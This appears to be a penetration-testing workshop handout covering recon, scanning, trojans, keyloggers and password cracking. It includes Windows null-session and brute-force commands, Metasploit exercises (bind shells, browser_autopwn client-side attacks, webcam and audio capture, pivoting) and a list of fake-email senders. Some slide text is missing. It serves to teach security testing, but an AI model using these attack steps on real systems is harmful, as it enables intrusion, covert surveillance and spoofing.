Hacking & Pen Testing V10
Hacking & Pen Testing V10
Hacking & Pen Testing V10
Penetration Testing
(Overview)
By
The information, exercise and tools contained in this paper may not be used by you or any other
party for any purpose that violates any local, state, federal or international law. You understand
that breaking into any network or computer system not owned by you or authorized by the owner
may be illegal
About Me:
I am a
CEng: Chartered Engineer
CITP: Chartered IT Professional
MIAM: Member International Academy of Management.
MBCS: Member British Computer Society
Member Association of Computing Machineries (ACM)
Member Information System Audit and Control Association (ISACA)
Certified Expert Witness and Prosecutor (National Institute of Justice, USA)
Certified Crime Scene Investigator (President DNA Initiative, USA)
Certified Digital Forensics Investigator (Texas A&M University, USA)
ACE: Access Data Certified Examiner
Security+: CompTIA security+ certified
MCP: Microsoft Certified Professional
MCTS: Microsoft Certified Technical Specialist
CEH: Certified Ethical Hacker.
CHFI: Computer Hacking Forensics Investigator
NCLA: Novell Certified Linux Administrator
DCTS: Data Center Technical Specialist.
CCNA: Cisco Certified Network Administrator
ITIL: Information Technology Infrastructure Library (Certified IT Service Manager)
CCSA: Cambridge University Certified Security Administrator
PGD: Post Graduate Diploma in Cyber Crime and Forensic Science
BSc: Bachelors of Science in Information Technology.
MSc: Masters of Science in Information Security
MBA: Masters of Business Administration in Technology Management (Ongoing)
IT Manager, MicroCred Microfinance Bank
Pioneer IT Manager, Peace Microfinance Bank
Penetration Tester, Ethical Hacker, Digital Forensics Examiner & Crime Scene Investigator.
IT Security Consultant, Cyber Crime Expert, Trainer and Information Security Researcher
Captain and CIO Efficacy Technologies Limited
"If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know
yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the
enemy nor yourself, you will succumb in every battle." Sun Tzu ‘the Art of War’
Over dependent of Individuals, Governments and Businesses in technology give birth to the
rising wave of cybercrime. This has made security now a necessity, not a luxury. If you are
unaware of that, no doubt, you are still living in the past. This workshop aim is to show you the
important of information security, and expose you to the hackers’ techniques and tools used in
assaulting security. I will equip you with the necessary techniques you need to defend yourself
and your network. This workshop alone won’t make you a hacker or an expert; it usually takes
years of study and experience to be a great hacker. To be a hacker you need motivation, initiative
and the ability to educate yourself. Let’s get started
Objective:
A the end of this workshop, you will learn how easy it is for the bad guys to break into networks
and also understand how to defend yourself and organization
Definations:
Ethical Hacking: The art and science of determining the vulnerability of your information
infrastructure to better defend it.
Threat
This is an agent that can cause harm
Vulnerability
Vulnerability is a flaw in our environment that a bad guy can use to harm us.
Exploit
A way of breaching the security of IT system through its vulnerability
Risk Categorization
High Likelihood + High Impact = Critical
Low likelihood + High Impact = Urgent
High Likelihood + Low Impact = Important
Low Likelihood + Low Impact = Informational
Attack
Any action that violet security of a system, it can be seen as an assault on the system
security.
Hacker
An intelligent individual with excellent computer skills with the ability to create and
explore into the computer software and hardware
Hacking
Hacking is the practice of modifying the features of a system, in order to accomplish a
goal outside of the creator's original purpose
Cracker
A person who uses his hacking skills for malicious intent like stealing business data,
credit card information, password and destruction of computing resources.
Ethical Hacking and white hat hacking are often used interchangeably
Skills of a hacker:
Working knowledge of TCP/IP
Networking and hardware knowledge
Understanding of command lines of windows and Linux
Understanding of Windows and Linux OS, Mac OS X Solaris, etc.
Understanding of Firewalls, routers, IDS’s and IPS’s etc.
Understanding of common security vulnerabilities and how to correct them.
Understanding of the working of various hacking tools and techniques
Programming knowledge is a plus.
Understanding hackers’ friendly language such as but not limited to, python, ruby, C, C+,
html will make your work easier
Understanding of scripting language like bash is a good deal.
Know everything about everything
Penetration testing and ethical hacking require a great deal, you have to understand what the
tools do, to avoid destroying the system or the organization you are trying to protect.
Types of attack
Full Penetration
Denial of service
Specific Information
Social Engineering
Classes of Hacking:
White hat hacking (the good guys)
Gray hat hacking (sometimes good and sometimes bad)
Black hat hacking (the bad guys)
Formal Methodology
OSSTMM (Open Source Security Testing Methodology Manual)
NIST SP 800-42
OCTAVE (Operational Critical Threat Asset Vulnerability Evaluation)
TRAWG (Threat and Risk Assessment Working Guide)
Ethical hackers
Employed by companies to perform penetration tests
Penetration test
Legal attempt to break into a company’s network to find its weakest link
Tester only reports findings, does not solve problems
Security test
More than an attempt to break in; also includes analyzing company’s security policy and
procedures
Tester offers solutions to secure or protect the network
Security
A state of wellbeing of information and infrastructure in which the possibility of
successful and yet undetectable theft or tampering and disrupting of information and
services is kept low or tolerable.
Element of Security.
Hacking your organization will not only affect data but also the integrity of your
organization
Phases of Hacking
Hacktivism
Hacking for a course
Scanning:
Scanning the network to determine which host are alive on the network
Thousands of tools are available for scanning networks
Easily detected by Intrusion Detection System
Vulnerability Exploitation.
Using know exploit or developing new ones to exploit discovered vulnerability to gain
access to the system.
Reconnasiance.
Passive Recon.
Gathering information with whois and other sites without touching the target system.
o Source of information include: company website, Job site, company literature,
bulletin, partner site, forums, blogs, group, security and exchange commission,
better business bureau.
Active Recon
Using various tools and techniques to gather information from the target system.
Output of Recon
Recon Demo:
Using WHOIS!
www.whois.net
www.johnny.ihackstuff.com
Sam Spade
Mail Bouncing
Banner grabbing
DNS Zone transfer
theHarvester
emailTrackerpro
Wayback machine (www.archive.org)
Telnet to www.targetcompany.com
ftp www.targetcompany.com
see the information supplied if successfully connected.
Security Sites:
www.securiteam.com
www.cybercrime.gov
www.exploit-db.com
www.zone-h.org
www.securityfocus.com
www.packetstormsecurity.com
Foot printing or profiling the organization, hacking is 90% profiling and 10% attacking
Scanning:
Scanning refers to a set of procedures for identifying host, service, and ports, in a network
A hacker will use this to create a blueprint of the organization and it vulnerabilities.
Types of Scanning.
Port scanning
Network Scanning
Vulnerability scanning.
Objective of Scanning
Detect live system on the network
Discover open ports
Discover Operating System (OS)
Discover services
Discover vulnerability.
Scanning Tools.
Angry IP Scanner hping3 Friendly Pinger
Nmap Nessus NetCat
NeXpose Retina GFI Languard
Nikto SATAN SAINT
Cheops SuperScan Look@LAN etc.
Scanning Demo:
Use of nmap, superscan, GFI Languard, Angry IP Scanner etc
System Hacking
Email crime:
Some of Free Anonymous Email Websites are:
www.emkei.cz
www.sendanonymousemail.net
www.anonymailer.net
www.mail.anonymizer.name (Send attachments as well)
www.fakemailer.net
www.fakemailer.info
www.deadfake.com/send.aspx
Phishing attack
Counter Measures
Understand that there is absolutely nothing you can do about it.
Always use secure emails like PGP where possible
You must use digital signature to sign all emails
Read all the Email carefully and check the mail header to verify if the sender is original
Watch the Link Carefully before Clicking
Always check the URL in the browser before signing IN to your account
Always Login to Your Accounts after opening the Trusted
Websites, not by Clicking in any other Website or Email
Malicious software
A piece of software that carryout undesirable effect in the system.
Network attacks prevent a business from operating
Malicious software (Malware) includes
o Virus
o Worms
o Trojan horses
Trojan.
Trojan is a malicious program misguided as some very important application.
Trojan appears to perform a desirable and necessary function but that, because of hidden
and unauthorized code, performs functions unknown and unwanted by the user.
Components of Trojans
Trojan consists of two parts:
1. A Client component
2. A Server component.
One which resides on the Victim’s computer is called the server part of the Trojan and the one
which is on the attacker’s computer is the client part of the Trojan.
For the Trojan to function as a backdoor, the server component has to be installed on the
Victim’s machine
Wrapper
keyloggers
Used to capture keystrokes on a computer
Hardware
Software
Software
Behaves like Trojan programs
Hardware
Easy to install
Goes between the keyboard and the CPU
KeyKatcher and KeyGhost
Physical security
Protecting a network also requires physical security
Inside attacks are more likely than attacks from outside the company
Session hijacking
Enables attacker to join a TCP session
Attacker makes both parties think he or she is the other party
#net use \\192.168.168.131\ipc$ “” /U: “” connect to the hidden inter processor share
#net view \\192.168.168.131 view the network shares on the target system
#net use * \\192.168.168.131\share to map the share in the target machine to your machine.
#net use \\192.168.168.131\IPC$ /delete
#net use \\192.168.168.131\IPC$ “” /U: Administrator
This will connect to the administrator account, if it fails; it therefore means the administrator
account password is not blank. Then try to brute force the administrator’s password.
#nbtstat –A 192.168.168.131 to capture the name table over nbt
This will crack the administrator’s password using the password list given in passlist.txt if the
password is in the list, it will definitely crack it.
You can use “ShareEnum” utility freely available on the internet to enumerate all share folders
and services in the target machine
Password Cracking can be passive online using MITM, or offline attack using dictionary,
hybrid, or bruteforce.
Counter Measures:
Smartcard
Efficacy Technologies Limited @ July 2013 Page 17
Biometric
Strong and complex passwords
A combination of any two or all three of the above.
If the Victim is behind NAT, that is we cannot reach the victim directly with IP
connection.
The victim needs to reach out to us (the attacker) first.
We will use a client side attack
Use browser based exploit
Use social engineering
Browser Exploit.
Create a malicious site which exploit browser vulnerabilities
Lure the victim to the site
Victim browser will be exploited
Use a reverse tcp metapreter payload
The victim will initiate a connection
If Operating system is fully patched target other applications in the server
Exercise 1:
In Metasploit console (msf)
Exploit: windows/smb/ms08_067_netapi
Payload: windows/shell/bind_tcp
Do some damages: run commands like: ipconfig, route print, hostname, dir, mkdir, cd
pathping, tasklist etc.
Migrate to the desktop and create directory and a file in the directory.
Exercise 2:
Use the same exploit as above but with a different payload
Payload: windows/meterpreter/bind_tcp
You can background the meterpreter session open and get back to it with session –l, session –i
“session number” run all sorts of meterpreter commands that you can think of.
Exercise 3: Using client side attack to attack victims behind firewall or NAT
#use auxiliary/server/browser_autopwn
# set LHOST; SRVPORT, URIPATH
#run
It is advisable to set the SRVPORT to port 80 to avoid suspicion as this is the known http port
On the client machine open up internet explorer and connect to the attacker machine.
Watch what happen, meterpreter session will be opened and migrated from the attacker machine.
To take screenshot, the “espia” extension must be loaded which is not loaded by default.
#use espia #?
#screengrap #screenshot
We can also record audio and use webcam of the remote system as well. We can sniff on the
remote victim network and also run meterpreter script.
Meterpreter> run
Lets run few selected scripts and have fun, scrips like
Exercise 4: Pivoting:
No direct access to the system
Broke into a system with direct connection that also have a connection the target system
We have meterpreter session from a directly connected system
Meterpreter>>
#run arp_scanner –h
#run arp_scanner –r 10.10.10.1/24
#background
#route –h
#route add 10.10.10.1 255.255.255.0 1(1 here = the meterpreter session opened)
#route print
#session –l
#back
Msf>> use auxiliary/scanner/portscan/tcp
#show options
#set RHOST and PORTS, then #run and #back
Use any exploit that the system is vulnerable to exploit the internal system
Lunch a webbrowser from the attacker machine point it to port 6262 as was assigned
Contact Detail:
To catch a thief you must think like one, not necessarily becoming one.